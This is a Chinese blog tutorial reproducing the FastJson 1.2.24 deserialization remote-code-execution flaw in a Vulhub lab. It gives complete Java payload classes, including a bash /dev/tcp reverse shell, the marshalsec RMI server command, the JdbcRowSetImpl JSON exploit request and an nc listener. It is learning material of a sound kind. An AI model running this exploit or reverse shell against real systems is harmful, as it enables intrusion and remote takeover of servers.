FastJson1.2.24漏洞复现(详细步骤)

此测试用的是VM搭的Kali 2023.2,且在root用户下进行

https://kali.download/base-images/kali-2023.2/kali-linux-2023.2-vmware-amd64.7z

环境:

Java1.8:Index of java-local/jdk (huaweicloud.com)

创建目录

mkdir /usr/local/java

加载目录

cd /usr/local/java

下载文件

wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

解压

tar -zxvf jdk-8u202-linux-x64.tar.gz

配置环境变量

vim /etc/profile

内容

export JAVA_HOME=/usr/local/java/jdk1.8.0_202
export PATH=$PATH:$HOME/bin:$JAVA_HOME/bin

更新软连接

update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1

重新加载环境变量文件

source /etc/profile

变换java版本

update-alternatives --config java

查看版本,如图

maven(Maven – Welcome to Apache Maven)

创建目录

mkdir /usr/local/maven

加载目录

cd  /usr/local/maven

下载文件

wget https://dlcdn.apache.org/maven/maven-3/3.9.3/binaries/apache-maven-3.9.3-bin.tar.gz

解压

tar -zxvf apache-maven-3.9.3-bin.tar.gz

配置环境变量

vim /etc/profile

添加软连接

update-alternatives --install "/usr/bin/mvn" "mvn" "/usr/local/maven/apache-maven-3.9.3/bin/mvn" 1

重新加载环境变量文件

source /etc/profile

查看版本

mvn -version

Python3

(kali自带,没有的自行查询安装方法)

Docker

推荐方式

curl -s https://get.docker.com/ | sh

系统自带安装包

sudo apt install docker.io

(若报错请使用apt-update更新源后再执行)

Docker-Compose

未安装pip的先安装

curl -s https://bootstrap.pypa.io/get-pip.py | python3

安装D-C

pip install docker-compose

下述文件请放到方便的位置

Vulhub(Vulhub - Docker-Compose file for vulnerability environment)

下载文件

git clone https://github.com/vulhub/vulhub.git

Marshalsec

下载文件

wget https://codeload.github.com/mbechler/marshalsec/zip/refs/heads/master

漏洞复现

开启靶场环境

进入vulhub-master/fastjson/1.2.24-rce下

docker-compose up -d

打开浏览器输入ip+8090端口(如图为操作成功)

编写脚本并用Javac编译(文件名为Test.java,下述代码中class后面的词须与文件名一致,否则无法编译)

import java.lang.Runtime;
import java.lang.Process;

public class Test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/welldone"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译

javac Test.java

开启监听(如图)

python -m http.server 1145

 

开启RMI监听

到marshalsec-master下执行

mvn clean package -DskipTests

执行成功,如下图

 到该文件夹的target下执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.195:1145/#Test" 9999

配置好浏览器代理并开启bp截获,刷新ip+8090端口的网址,将截获的包放到重放模块并放行截获的包。

在重放模块里替换以下代码(其中有两个标注ip的位置替换为你的ip)

POST / HTTP/1.1
Host: ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 158

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}

发送后的结果,

查看docker容器id为

docker ps

docker容器的执行命令为

docker exec -it ID bash

 反弹shell的方式

在vulhub-master/fastjson/1.2.24-rce下创建新的文件Shell.java(将下述ip的位置替换为你的ip)

import java.lang.Runtime;
import java.lang.Process;
 
public class Shell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/ip/5145 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

对上述文件进行编译后开启监听

1.2.24下

python -m http.server 1145

target下

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.195:1145/#Shell" 9999

开新窗口监听5145端口(上述Java脚本的反弹shell设置的端口)

nc -lvvp 5145

继续用bp截包放到重放模块(上述截取到的也可以)

替换的payload如下

POST / HTTP/1.1
Host: 192.168.1.195:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 159

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.195:9999/Shell",
        "autoCommit":true
    }
}

发送包后的结果

 http服务端口需要匹配到RMI监听中,RMI监听端口需与payload中ip后的端口相对应,payload中的触发的文件需与脚本文件名对应

以上就是fastjson1.2.24的漏洞复现,过程中需要注意ip和端口是否填写正确。

以下为我复现参考的连接

Vulhub - Docker-Compose file for vulnerability environment

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理_Bossfrank的博客-CSDN博客

本人小白,若有遗漏或错误请大佬指点:)

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值